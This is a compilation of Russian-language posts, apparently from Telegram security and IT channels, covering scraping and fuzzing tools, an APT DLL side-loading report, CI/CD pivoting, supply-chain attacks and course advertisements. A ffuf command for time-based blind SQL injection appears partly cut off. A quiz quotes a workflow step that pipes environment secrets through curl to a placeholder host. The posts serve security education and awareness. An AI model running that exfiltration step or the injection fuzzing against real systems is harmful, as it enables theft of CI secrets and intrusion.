🕷 Топ GitHub-репозиториев для web scraping

Подборка инструментов для crawling, scraping и обхода антибот-защиты.

🈶 Crawl4AI — AI-first crawler для LLM pipeline
🈶 Firecrawl — превращает сайты в clean markdown/JSON для AI
🈶 Scrapy — классика scraping на Python
🈶 Crawlee — мощный crawler от Apify
🈶 Playwright — автоматизация браузера и anti-bot обходы
🈶 Scrapegraph AI — scraping через AI-граф обработки данных
🈶 Browser Use — автоматизация браузера с помощью ИИ
🈶 Katana — сверхбыстрый краулер от ProjectDiscovery
🈶 Maxun — nno-code инструмент для извлечения данных с сайтов

Полезно для:

— OSINT
— bug bounty
— recon
— AI-agents
— массового сбора данных
— automation pipeline

📍 Навигация: [Вакансии]

🐸 Библиотека хакера

#resource_drop

❓ Ffuf vs Gobuster — что выбирает комьюнити для фаззинга веба

Оба инструмента решают одну задачу — перебор директорий, файлов и vhost'ов. Но подход разный.

🈁 Ffuf (Go)

— Мультирежимный фаззинг (URL, headers, POST-body)
— Гибкая фильтрация ответов (-fc, -fs, -fw, -fl)
— Поддержка pipe и рекурсии
— Вывод в JSON для автоматизации
— Более сложный синтаксис для новичков

ℹ️ Gobuster (Go)

— Простой CLI — запустил и забыл
— Режим dns для субдоменов из коробки
— Быстрый старт, минимум флагов
— Отличная документация
— Меньше гибкости в фильтрации
— Нет встроенного POST-фаззинга

💡 Gobuster — если нужно быстро прогнать дирбастинг. Ffuf — если нужен полноценный фаззер с тонкой настройкой.

А чем пользуетесь вы? Голосуйте:

👍 — Ffuf
🔥 — Gobuster
💬 — свой вариант в комментариях

📍 Навигация: [Вакансии]

🐸 Библиотека хакера

#tool_vs_tool

А как у вас в компании обстоят дела с кибербезом?

❤️ — Всё строго: флешки заблокированы, раз в месяц проходим тесты от ИБ
🔥 — Периодически шлют фишинговые письма для проверки, ловимся всей командой

🔹 Курс разработка AI-агентов
🔹 Получить консультацию менеджера
🔹 Сайт Академии 🔹 Сайт Proglib

🏃‍♀️ Азбука айтишника

#режимразраба

🇮🇷 MuddyWater превращает доверенные EXE в загрузчики малвари

Symantec и Carbon Black раскрыли новую кампанию MuddyWater (Seedworm / Static Kitten), связанной с Министерством разведки Ирана.

🔜 Под удар попали 9 организаций на 4 континентах:

аэропорт, финансовый сектор, промышленность, образование и крупный производитель электроники

Главная техника — DLL Side-Loading через доверенные бинарники:

🔴 fmapp.exe → загружает вредоносную fmapp.dll
🔴 sentinelmemoryscanner.exe → грузит sentinelagentcore.dll

😳 После закрепления внутри сети использовались:

— Node.js runtime для PowerShell;
— dump SAM и повышение привилегий;
— SOCKS5 reverse proxy;
— эксфильтрация через sendit.sh.

📍 Навигация: [Вакансии]

🐸 Библиотека хакера

#breach_breakdown

⌨️ DLL Side-Loading — любимый приём APT

Подписанный .exe выглядит безопасно, антивирус видит известный процесс, а вредоносный код quietly запускается через подложенную библиотеку.

🔜 После кейса MuddyWater собрали короткую шпаргалку по DLL Side-Loading:

— как работает техника;
— почему её сложно замечать;
— что искать в логах;
— как детектить через Sysmon и PowerShell.

Сохраняйте в избранное ⚡️

📍 Навигация: [Вакансии]

🐸 Библиотека хакера

#cheat_sheet

🔥 Вопрос с собеседования

Как можно развить атаку после доступа к CI/CD runner?

👇Правильный ответ:

Runner — это не просто машина для сборки. Часто он имеет доступ к секретам, registry, облакам и внутренней сети.

Что проверять дальше:

— переменные окружения и CI/CD secrets;
— токены GitHub / GitLab / cloud-провайдеров;
— доступ к Docker socket или Kubernetes config;
— какие internal-сервисы видит runner;
— можно ли подменить артефакты сборки;
— есть ли доступ к container registry;
— куда pipeline может деплоить код.

⚡️ Сильный ответ:

«После доступа к runner я оцениваю blast radius: какие секреты доступны, куда можно двигаться дальше и можно ли повлиять на supply chain.»

📍 Навигация: [Вакансии]

👍 — хороший вопрос
🔥 — забрал в копилку

🐸 Библиотека хакера

#ctf_challenge

Если вы думаете, что ваш провайдер медленный, вспомните парней из Норвегии. В 2001 году группа пользователей Linux из Бергена решила на практике проверить шуточный протокол IP over Avian Carriers (RFC 1149).

Результаты легендарного эксперимента:

- Дистанция: 5 км.
- Пакеты: 9 ICMP-запросов (пингов), привязанных к лапкам голубей.
- Потери: До финиша добрались только 4 ответа. Пакет лосс составил солидные 55,6%.
- Задержка: От 53 минут до 1 часа 40 минут.

А какой был ваш самый «медленный» опыт работы с сетью?
❤️ — 56 кбит/с
🔥 — Спутник в глуши
🙏 — Раздача с телефона в подвале (одна палочка EDGE и бесконечное ожидание)

🔹 Курс разработка AI-агентов
🔹 Получить консультацию менеджера
🔹 Сайт Академии 🔹 Сайт Proglib

🏃‍♀️ Азбука айтишника

#режимразраба

🐸 Библиотека хакера

#hack_humor

📌 Подборка статей по теме Supply Chain атак через инструменты разработчика

Собрали топовые материалы: от разбора конкретных инцидентов до техник защиты.

➖ Отравленное расширение VS Code привело к взлому GitHub, и Microsoft владеет каждым звеном этой цепи — полная анатомия атаки: как троянизированный Nx Console (2.2M установок) за 18 минут привёл к краже 3 800 внутренних репозиториев GitHub. Лучший разбор инцидента.

➖ Технический deep dive в пейлоад Nx Console — StepSecurity — multi-stage credential stealer: сбор токенов из GitHub/npm/AWS/Vault/K8s/1Password, DNS-туннелирование, persistence через GitHub Search API как dead-drop, поддельная Sigstore-аттестация для публикации «легитимных» пакетов.

➖ Ликвидация инфраструктуры GlassWorm: разрушение supply chain атак на VS Code, npm, Python и GitHub — как CrowdStrike, Google и Shadowserver 26 мая одновременно уничтожили все C2-каналы ботнета. 35 000+ заражённых установок, 300+ отравленных репозиториев с начала 2025.

➖ Вредоносный npm-пакет крадёт файлы из рабочей директории Claude AI — пакет mouse5212-super-formatter, написанный с помощью ИИ, таргетит /mnt/user-data. Автор слил свой же GitHub-токен в код.

➖ Как закрепить версии расширений VS Code для защиты от supply chain атак — практический гайд: pinning версий в devcontainers, отключение автообновления, проверка publisher identity.

➖ Утечка исходного кода GitHub: причиной стало вредоносное расширение для VS Code — подробный русскоязычный разбор: механика червя Mini Shai-Hulud, инфраструктура C2 через «мёртвые» репозитории, демон kitty-monitor, аварийный переключатель по ключевому слову «firedalazer».

➖ Вы пустили ИИ-агента в репозиторий — теперь разбираемся, что он может сломать — кража SSH-ключей через Claude Code, эксфильтрация через DNS-запросы в обход allowlist, компрометация CI/CD → cloud admin за 72 часа через OIDC.

➖ Черви в расширениях VS Code: новая угроза для разработчиков — как вредоносные расширения используют децентрализованные C2, обфускацию и легитимные репозитории.

📍 Навигация: [Вакансии]

🐸 Библиотека хакера

#resource_drop

🦾🧠🏋️ Качаем мозги к лету!

Все готовятся к пляжному сезону, а мы предлагаем прокачать хард-скилы, чтобы забрать крутой оффер, строить продукты будущего и работать из любой точки мира 😎

⚡️ Распродажа @proglib_academy: забирайте самые актуальные образовательные треки по сниженным ценам!

➡️ Разработка AI-агентов — от 49 000 ₽ (вместо 69 000 ₽).

➡️ Курс AgentOps — 129 000 ₽ (вместо 149 000 ₽).

➡️ Математика для разработки AI-моделей — 23 990 ₽ (вместо 31 990 ₽).

➡️ ML для старта в Data Science — 28 990 ₽ (вместо 38 990 ₽).

Почему мы?

⭐️Учим для продакшена. Наши программы заточены под реальные задачи бизнеса: как не слить бюджет на токены, как заставить LLM работать стабильно в бэкенде и как выстроить отказоустойчивую архитектуру.
⭐️Спикеры — суровые практики. Вы будете перенимать опыт у действующих AI-архитекторов, тимлидов и ML-инженеров из топовых IT-компаний.
⭐️Комплексный подход. Мы даем как мощный математический фундамент для понимания моделей «под капотом», так и передовые инструменты оркестрации агентов.
⭐️Много практики и фидбека. Вебинары, десятки практических заданий и живое общение с экспертами в чате Telegram на протяжении всего обучения.

⏳ Оставляйте заявку и бронируйте место со СКИДКОЙ 40%

📌 580+ команд для пентестера

Внутри собраны команды по основным направлениям:

— Recon & Enumeration
— Active Directory
— Web Security
— Privilege Escalation
— Pivoting & Tunneling
— Post Exploitation
— Linux и Windows

Все команды разбиты по категориям и доступны через удобный интерфейс в стиле терминала ⚡️

🔵 Подойдёт для:

— OSCP / OSEP подготовки;
— CTF;
— лабораторий;
— внутренних пентестов;
— быстрого поиска команд во время работы.

📎 Ссылка

📍 Навигация: [Вакансии]

🐸 Библиотека хакера

#cheat_sheet

🔑 Топ-4 механизма аутентификации

Эти архитектуры уберегут вас от фатальных дыр в безопасности при настройке серверов, интеграции сторонних сервисов или проектировании баз данных.

🛡 Главные инструменты проверки:

1. Ключи SSH: Криптографическая пара из публичного и приватного ключей. Публичный лежит на сервере, приватный — у вас. Идеально подходит для безопасного беспарольного доступа к серверам и Git-репозиториям.

2. Токены OAuth: Временные цифровые пропуска, которые выдает сервер авторизации. Нужны для того, чтобы сторонние приложения могли получить ограниченный доступ к вашим данным (например, «войти через Google»), вообще не зная вашего реального пароля.

3. Сертификаты SSL: Цифровые паспорта для сайтов. Они подтверждают, что сервер принадлежит именно тому домену, на который вы зашли, и обеспечивают безопасное зашифрованное HTTPS-соединение.

4. Учетные данные: Классическая связка «логин + пароль». Данные пользователя отправляются по защищенному каналу на сервер, где пароль хэшируется и сверяется с базой данных. Самый старый, понятный, но и самый уязвимый из-за человеческого фактора метод.

🔹 Практический интенсив «Архитектуры и шаблоны проектирования»
🔹 Получить консультацию менеджера
🔹 Сайт Академии 🔹 Сайт Proglib

🏃‍♀️ Азбука айтишника

#ликбез

⚡️ Последний шанс забрать курсы со СКИДКОЙ 40%! Прокачайте свой мозг правильно

До конца акции вы можете воспользоваться специальными ценами на самые востребованные IT-направления. Круто и выгодно прокачать свои скиллы, чтобы получить оффер, уехать на Бали и больше не быть онлайн 😎

➡️ Разработка AI-агентов — от 49 000 ₽ (вместо 69 000 ₽)
Курс про контролируемую разработку ИИ-агентов: качество, стоимость, наблюдаемость и тестирование. С первого занятия — только практическая работа.

➡️ Курс AgentOps — 129 000 ₽ (вместо 149 000 ₽)
Профессиональный трек для разработчиков и LLM инженеров о том, как правильно внедрять AI-логику в бэкенд и сохранять железную стабильность сервиса.

➡️ Математика для Data Science — от 29 990 ₽ (вместо 39 990 ₽)
Вы научитесь решать сложные математические задачи, которые дают на собеседованиях на позицию дата-сайентиста в бигтехе. Отличная база для мощного старта в DS.

➡️ Курс Специалист по ИИ — 89 000 ₽ (вместо 113 900 ₽)
Комплексная программа для получения профессии в сфере ИИ с нуля. За 8 месяцев вы соберете сильное портфолио из 5 реальных проектов и дипломной работы.

➡️ Архитектуры и шаблоны проектирования — 27 990 ₽ (вместо 37 900 ₽)
Интенсив для разработчиков, который поможет освоить основные паттерны проектирования и прокачать навыки архитектора программного обеспечения.

🌸 Выбирайте направление, оставляйте заявку на сайте распродажи, и наш менеджер подробно вас проконсультирует

🔥 Автоматизация пентеста через AI-агентов

Pentest Swarm AI агенты обмениваются находками между собой и самостоятельно выбирают следующие шаги атаки на основе уже собранных данных.

Что умеет:

🔘 Поиск поддоменов
🔘 Сканирование портов
🔘 Поиск уязвимостей
🔘 Эксплуатация находок
🔘 Генерация отчётов

Есть готовые сценарии для Bug Bounty, CTF и анализа внешней поверхности атаки.

🔗 GitHub

📍 Навигация: [Вакансии]

🐸 Библиотека хакера

#tool_of_the_week

🛣 Penetration Testing Roadmap — коллекция ресурсов, сертификатов, инструментов и методологий, которые помогут вам стать экспертом в области пентеста.

👉 GitHub & Сайт

🔹 Курс «Алгоритмы и структуры данных»
🔹 Получить консультацию менеджера
🔹 Сайт Академии 🔹 Сайт Proglib

🏃‍♀️ Азбука айтишника

#магиякода

⚡️ Blind SQLi через время ответа в ffuf

При поиске Blind SQL Injection не всегда есть ошибки в ответе приложения. Иногда единственный признак — увеличение времени ответа.

Команда для поиска параметров с задержкой:

  -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt \
  -fc 404 \
  -mt 5000

🈂️ -mt 5000 — покажет только ответы дольше 5 секунд
🈂️ Задержка может указывать на time-based Blind SQLi
🈂️ Удобно для первичного скрининга параметров без ручной проверки

⚠️ Не забывайте исключать ложные срабатывания из-за медленных API, rate limiting и сетевых задержек.

📍 Навигация: [Вакансии]

🐸 Библиотека хакера

#cheat_sheet

Они прогрессируют, уже пытаются маскироваться под людей

🔹 Курс разработка AI-агентов
🔹 Получить консультацию менеджера
🔹 Сайт Академии 🔹 Сайт Proglib

🏃‍♀️ Азбука айтишника

#небагафича

💻 Практика атак на Kubernetes

Kubernetes Goat — это специально уязвимый Kubernetes-кластер для обучения безопасности на практике.

➡️ Что внутри:

— ошибки RBAC и лишние привилегии
— уязвимые контейнеры
— небезопасные настройки кластера
— privilege escalation
— container escape
— практические сценарии для Red Team и Blue Team

Отличная площадка для изучения атак на Kubernetes в безопасной среде ✅

🔗 Ссылка на GitHub

📍 Навигация: [Вакансии]

🐸 Библиотека хакера

#tool_of_the_week

🧩 Хакер-челлендж

Сценарий: в open source-репозиторий прилетает pull request с “безобидным” изменением GitHub Actions workflow.

Внутри добавили шаг:

- name: Debug publish   run: |     env | base64 | curl -s -X POST https://example[.]com/logs -d @-

Автор PR пишет:

«Оптимизировал publish pipeline и добавил debug output для диагностики релизов».

❓ Что здесь нужно проверять в первую очередь? Голосуйте эмодзи:

🔥 — Exfiltration of CI/CD secrets: workflow пытается вывести переменные окружения и секреты наружу.
👾 — Dependency confusion: пакет подтягивается из внешнего registry.
❤️ — Cache poisoning: атакующий подменяет build cache.
👍 — Path traversal: workflow читает файлы за пределами проекта.

📍 Навигация: [Вакансии]

🐸 Библиотека хакера

#ctf_challenge